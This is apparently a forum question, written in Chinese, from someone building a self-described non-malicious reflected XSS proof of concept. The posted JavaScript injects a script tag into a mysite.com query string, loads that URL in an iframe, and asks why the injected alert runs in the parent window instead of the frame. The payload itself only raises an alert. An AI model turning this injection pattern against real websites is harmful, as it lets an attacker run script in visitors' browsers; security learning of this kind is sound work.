我正在尝试为(非恶意)概念证明实施简单的 XSS 攻击,但遇到了一些问题。目标是填充表单并在 iframe 中提交。
function grab() {
alert('yess');
};
function makeLink() {
return "http://mysite.com/?" + encodeURIComponent("<script" + ">" + grab.toString() +
";grab();</script" + ">");
// returns "http://mysite.com/?%3Cscript%3Efunction%20grab()%20%7B%0A%20%20%20%20alert('yess')%3B%0A%7D%3Bgrab()%3B%3C%2Fscript%3E"
}
var iframe = document.createElement('iframe');
iframe.src = makeLink(xssdefense, target, attacker);
iframe.height = 600;
iframe.width = 800;
// not sure if I need this line, but un-commenting doesn't seem to change anything.
// iframe.sandbox = "allow-scripts allow-same-origin allow-forms"
document.body.appendChild(iframe);
理想情况下,当打开这个 html 文件时,一个注入了 javascript 的 iframe 将坐在那里。在控制台调查后,grab() 是在主窗口中定义和调用的,但不是在框架中,这让我感到困惑。
无论如何,任何帮助表示赞赏。非常感谢!